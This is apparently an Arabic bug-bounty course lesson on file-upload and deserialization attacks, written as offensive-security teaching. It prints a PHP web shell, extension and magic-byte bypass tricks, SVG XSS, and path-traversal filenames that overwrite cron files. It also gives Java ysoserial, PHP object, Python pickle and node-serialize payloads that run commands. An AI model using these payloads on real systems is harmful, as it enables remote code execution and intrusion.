الدرس 14 من 24

تقنيات الاستغلال المتقدمة

هجمات رفع الملفات وإلغاء التسلسل

3 دقيقة للقراءة

رفع الملفات وإلغاء التسلسل هي متجهات هجوم عالية التأثير يمكن أن تؤدي لتنفيذ الكود عن بعد (RCE). هذه الثغرات تعطي باستمرار مكافآت حرجة.

ثغرات رفع الملفات

رفع Web Shell الأساسي

# PHP web shell
<?php system($_GET['cmd']); ?>

# احفظ كـ: shell.php
# ارفع كصورة ملف شخصي
# الوصول: https://example.com/uploads/shell.php?cmd=id

تقنيات التجاوز

تجاوز الامتداد

# تجاوز القائمة السوداء
shell.php5
shell.phtml
shell.php.jpg
shell.php%00.jpg  # Null byte (أنظمة قديمة)
shell.pHp  # تنويع الحالة

# امتداد مزدوج
shell.jpg.php
shell.php.jpg (مع خطأ تكوين Apache)

# التلاعب بـ Content-Type
غيّر: image/jpeg → application/x-php (في الطلب)

حقن Magic Bytes

# أضف magic bytes الصورة لملف PHP
GIF89a<?php system($_GET['cmd']); ?>

# أو أضف في البداية
echo -e 'GIF89a' | cat - shell.php > polyglot.php.gif

SVG XSS

<!-- ملفات SVG غالباً مسموحة كـ "صور" -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>

<!-- أو مع onload -->
<svg onload="alert('XSS')">

سيناريوهات الاستغلال

موقع الرفع التأثير
جذر الويب RCE مباشر عبر web shell
ملف المستخدم Stored XSS عبر SVG/HTML
تخزين المستندات استغلالات PDF/Office، XXE
مجلد النسخ الاحتياطي path traversal + الكتابة فوق

Path Traversal في الرفع

# التلاعب باسم الملف
filename="../../../var/www/html/shell.php"
filename="....//....//....//var/www/html/shell.php"

# الكتابة فوق ملفات حساسة
filename="../../../etc/cron.d/malicious"

هجمات إلغاء التسلسل

عندما تلغي التطبيقات تسلسل بيانات غير موثوقة، يمكن للمهاجمين تنفيذ كود عشوائي.

إلغاء تسلسل Java

# الكشف: بيانات Base64 تبدأ بـ rO0
# أو: AC ED 00 05 (hex magic bytes)

# الأدوات
ysoserial: ولّد الحمولات
java -jar ysoserial.jar CommonsCollections1 'id' | base64

# سلاسل gadget الشائعة
CommonsCollections1-7
Spring1-4
Hibernate1-2

إلغاء تسلسل PHP

// كود ضعيف
$data = unserialize($_GET['data']);

// هجوم: أنشئ كائن مع __destruct أو __wakeup
O:8:"ClassName":1:{s:4:"data";s:10:"id"}

Python Pickle

# ضعيف
import pickle
data = pickle.loads(user_input)

# حمولة الهجوم
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())

Node.js node-serialize

# ضعيف: حزمة node-serialize
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}

# الكشف: ابحث عن "_$$ND_FUNC$$_" في البيانات المسلسلة

تقنيات الكشف

إيجاد البيانات المسلسلة

# ابحث في:
# - الكوكيز
# - حقول النماذج المخفية
# - أجسام طلبات/استجابات API
# - رسائل WebSocket

# مؤشرات Java
rO0...  (Base64)
AC ED 00 05 (raw hex)

# مؤشرات PHP
O:4:"User":1:{...}
a:2:{i:0;s:4:"test"...}

# مؤشرات .NET
AAEAAAD/////... (Base64)

الكشف الآلي

# استخدام إضافات Burp
# - Java Deserialization Scanner
# - PHP Object Injection Check

# قوالب Nuclei
nuclei -l targets.txt -tags deserialization

أمثلة المكافآت

الشركة نوع الثغرة المكافأة
PayPal Java deser RCE 20,000 دولار
Uber File upload RCE 10,000 دولار
Yahoo PHP object injection 7,500 دولار
Airbnb SVG XSS عبر الرفع 3,500 دولار

قائمة مراجعة الاختبار

رفع الملفات:

  • اختبر جميع تنويعات الامتدادات
  • اختبر التلاعب بـ content-type
  • اختبر حقن magic bytes
  • اختبر path traversal في اسم الملف
  • تحقق أين يُخزن الملف (قابل للوصول؟)
  • جرب SVG/HTML لـ XSS

إلغاء التسلسل:

  • حدد البيانات المسلسلة في التطبيق
  • حدد صيغة التسلسل
  • اختبر مع ysoserial (Java)
  • اختبر PHP object injection
  • تحقق من المكتبات الضعيفة المعروفة

نصيحة احترافية: رفع الملفات + إلغاء التسلسل غالباً يتجمعان. ارفع حمولة مسلسلة، شغّل إلغاء تسلسلها عبر ميزة أخرى.

في الدرس التالي، سنستكشف Server-Side Template Injection (SSTI). :::

اختبار

الوحدة 4: تقنيات الاستغلال المتقدمة

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.